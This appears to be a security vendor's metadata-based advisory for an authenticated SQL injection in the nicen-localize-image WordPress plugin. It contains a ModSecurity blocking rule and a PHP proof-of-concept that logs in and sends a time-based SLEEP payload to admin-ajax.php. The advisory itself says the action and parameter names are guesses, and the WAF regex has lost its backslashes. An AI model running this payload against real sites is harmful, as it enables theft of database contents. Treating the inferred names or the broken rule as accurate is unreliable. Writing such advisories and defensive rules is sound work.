Atomic Edge analysis of CVE-2026-57756 (metadata-based):
The nicen-localize-image plugin for WordPress, up to version 1.4.9, contains an authenticated SQL Injection vulnerability. Attackers with contributor-level access can inject arbitrary SQL queries. The vulnerability has a CVSS score of 6.5 (HIGH) with a vector of AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N, meaning it requires network access, low complexity, low privileges, no user interaction, and impacts confidentiality only.
Root Cause: The CWE-89 classification indicates a classic SQL injection caused by improper neutralization of special elements used in SQL commands. The vulnerability description confirms insufficient escaping on a user-supplied parameter and lack of prepared statements. Atomic Edge analysis infers that the vulnerable plugin function constructs SQL queries directly using user input (likely a date, path, or ID parameter) without using $wpdb->prepare() or sanitization functions like intval() or esc_sql(). Since no code diff is available, the exact parameter name cannot be confirmed, but the WordPress context suggests it is an AJAX handler or shortcode that processes user input.
Exploitation: An authenticated attacker with at least contributor role sends a crafted request to the plugin’s AJAX endpoint (likely /wp-admin/admin-ajax.php with action ‘nicen_localize_image_save’ or similar). The attacker provides a malicious value in the vulnerable parameter (e.g., ‘img_id’, ‘path’, or ‘date’). A typical SQL injection payload could be: ‘1 AND (SELECT 1 FROM (SELECT SLEEP(5))a) — ‘ to trigger time-based extraction. The attacker can extract database contents by observing response times or error messages. The attack vector is HTTP POST to admin-ajax.php with a crafted parameter.
Remediation: The plugin must replace all dynamic SQL queries with prepared statements using $wpdb->prepare() or switch to $wpdb->get_results() with proper placeholder binding. Every user-supplied parameter must be sanitized according to its expected type (e.g., intval() for IDs, sanitize_text_field() for strings). Atomic Edge analysis recommends the vendor also implement input validation and output escaping throughout the plugin. As of now, patched versions are not available, so a virtual patch is the only option.
Impact: Successful exploitation allows attacker-controlled SQL queries to retrieve any data from the WordPress database, including user credentials (hashed passwords), user emails, private posts, and configuration secrets. This can lead to privilege escalation if the attacker extracts admin session tokens or password hashes for offline cracking. The CVSS score reflects HIGH confidentiality impact but NO impact on integrity or availability, meaning the attacker can read but not modify data directly. However, combined with other vulnerabilities, this could enable full site takeover.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-57756 (metadata-based)
# Block SQL injection attempts against nicen-localize-image AJAX handlers
# Targets admin-ajax.php with the action pattern nicen_localize_image_*
# and suspicious SQL keywords or operators in any POST parameter
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20265756,phase:2,deny,status:403,chain,msg:'CVE-2026-57756 - nicen-localize-image SQL Injection Attempt'"
SecRule ARGS_POST:action "@rx ^nicen_localize_image_" "chain"
SecRule ARGS_POST "@rx (?:UNION|SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|SLEEP|BENCHMARK|ORs+d+|ANDs+d+)" "t:lowercase,t:urlDecode"
# End of rule
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-57756 - nicen-localize-image <= 1.4.9 - Authenticated (Contributor+) SQL Injection
// Set target URL and credentials
$target_url = 'http://example.com'; // CHANGE THIS to your target WordPress site
$username = 'contributor'; // CHANGE THIS to a valid contributor username
$password = 'password'; // CHANGE THIS to the user's password
// Step 1: Authenticate
$login_url = $target_url . '/wp-login.php';
$login_data = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'testcookie' => 1
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies_cve202657756.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Step 2: Inject SQL via AJAX
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Assuming the action is 'nicen_localize_image_save' and the vulnerable parameter is 'img_id'
// Adjust if the plugin uses a different action or parameter (common patterns: 'image_id', 'post_id', 'path')
$sql_payload = "1 AND (SELECT 1 FROM (SELECT SLEEP(2))a) -- "; // Time-based blind payload
$ajax_data = [
'action' => 'nicen_localize_image_save',
'img_id' => $sql_payload
];
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies_cve202657756.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
$start = microtime(true);
$response = curl_exec($ch);
$end = microtime(true);
curl_close($ch);
// Step 3: Check response time
$elapsed = $end - $start;
if ($elapsed >= 2) {
echo "[+] SQL injection confirmed! Response took $elapsed seconds.n";
echo "[+] The payload caused a sleep(2) delay.n";
} else {
echo "[-] No time delay detected. Either the plugin is patched, the action/parameter is different, or the user lacks permissions.n";
}
// Note: This PoC assumes the vulnerable action and parameter names; adjust if needed.
// Clean up cookie file
unlink('/tmp/cookies_cve202657756.txt');
